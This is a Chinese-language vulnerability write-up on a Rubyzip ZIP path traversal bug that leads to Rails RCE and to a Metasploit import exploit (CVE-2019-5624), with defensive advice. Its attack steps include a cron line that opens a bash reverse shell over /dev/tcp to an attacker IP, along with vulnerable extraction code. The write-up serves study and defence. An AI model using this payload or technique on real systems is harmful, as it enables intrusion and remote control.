Rubyzip库 路径遍历导致Ruby on Rails RCE
字数 1429 2025-08-29 08:32:24
Rubyzip库路径遍历漏洞分析与利用教学
漏洞概述
Rubyzip库在处理ZIP文件时存在路径遍历漏洞,允许攻击者通过精心构造的恶意ZIP文件实现任意文件写入,在特定条件下可进一步导致远程代码执行(RCE)。该漏洞主要影响Ruby on Rails应用程序中使用了Rubyzip gem进行ZIP文件处理的场景。
漏洞原理分析
Rubyzip库的安全机制
Rubyzip库曾多次爆出通过恶意文件名造成的路径遍历漏洞。开发者通过以下机制来防御:
- Entry#name_safe?方法:检查文件名是否为相对路径且不包含
..模式
def name_safe?
cleanpath = Pathname.new(@name).cleanpath
return false unless cleanpath.relative?
root = ::File::SEPARATOR
naive_expanded_path = ::File.join(root, cleanpath.to_s)
cleanpath.expand_path(root).to_s == naive_expanded_path
end
- Entry#extract方法:默认使用name_safe?检查
def extract(dest_path = nil, &block)
if dest_path.nil? && !name_safe?
puts "WARNING: skipped #{@name} as unsafe"
return self
end
[...]
end
漏洞根源
漏洞存在于以下关键点:
- 参数传递绕过:当直接向
extract方法传递目标路径参数时,name_safe?检查会被绕过 - Pathname对象处理问题:Pathname对象与字符串相加时对
../的特殊处理导致安全检测失效
漏洞验证
使用evilarc工具生成恶意ZIP文件:
$ zipinfo absolutepath.zip
Archive: absolutepath.zip
Zip file size: 289 bytes, number of entries: 2
drwxr-xr-x 2.1 unx 0 bx stor 18-Jun-13 20:13 /tmp/
-rw-r--r-- 2.1 unx 5 bX defN 18-Jun-13 20:13 /tmp/file.txt
使用以下代码验证漏洞:
require 'zip'
first_arg, *the_rest = ARGV
Zip::File.open(first_arg) do |zip_file|
zip_file.each do |entry|
puts "Extracting #{entry.name}"
entry.extract(entry.name)
end
end
实际应用中的脆弱性
典型易受攻击的代码模式:
def unzip(input)
uuid = get_uuid()
parent_directory = Pathname.new("#{ENV['uploads_dir']}/#{uuid}")
Zip::File.open(input[:zip_file].to_io) do |zip_file|
zip_file.each_with_index do |entry, index|
next if File.file?(parent_directory + entry.name)
entry.extract(parent_directory + entry.name) # 漏洞点
end
end
Success
end
问题分析:
- Pathname对象与字符串相加时对
../的特殊处理 - 传递给extract的路径不包含目录遍历payload,绕过安全检查
- Ruby gem不会进行额外验证
利用场景:Ruby on Rails RCE
利用条件
- 应用运行在生产环境
- Rails配置了
cache_classes - 攻击者能够触发服务器重启(或结合DoS漏洞)
利用方法
- 写入恶意.rb文件到
/config/initializers目录 - 服务器重启后自动加载初始化脚本
原理:
Rails会在加载框架和插件后自动加载/config/initializers下的所有Ruby文件
Metasploit Framework实例分析
Metasploit Framework中也存在此漏洞,位于ZIP导入功能:
data.entries.each do |e|
target = ::File.join(@import_filedata[:zip_tmp], e.name)
data.extract(e,target) # 漏洞点
end
攻击步骤
- 创建包含cron job payload的文件:
* * * * * root /bin/bash -c "exec /bin/bash 0</dev/tcp/172.16.13.144/4444 1>&0 2>&0 0<&196;exec 196<>/dev/tcp/172.16.13.144/4445; bash <&196 >&196 2>&196"
-
使用evilarc工具嵌入路径遍历payload到ZIP文件
-
添加有效的MSF工作区XML文件(使ZIP能被处理)
-
设置两个监听端口:4444和4445
-
登录MSF后台,创建新项目并导入恶意ZIP文件
-
导入完成后获取反向shell
防御措施
-
更新Rubyzip:确保使用最新版本(1.2.2之后)
-
额外验证:在使用
Entry#extract时添加对名称和目标路径的额外验证 -
安全实践:
- 不要信任用户提供的ZIP文件内容
- 对解压路径进行规范化并严格检查
- 使用沙箱环境处理不可信文件
-
Metasploit用户:更新到已修复版本(CVE-2019-5624)
工具与资源
-
Evilarc工具:用于生成包含路径遍历payload的ZIP文件
- 来源:https://labs.neohapsis.com/2009/04/21/directory-traversal-in-archives/
-
演示视频:
- https://blog.doyensec.com/public/images/msf-zip-bug.mp4
总结
Rubyzip库的路径遍历漏洞展示了文件处理功能中常见的安全问题。开发者需要:
- 理解所使用库的安全机制和限制
- 不盲目依赖库的默认安全检查
- 在处理用户提供的文件时实施深度防御策略
- 定期审查和更新依赖库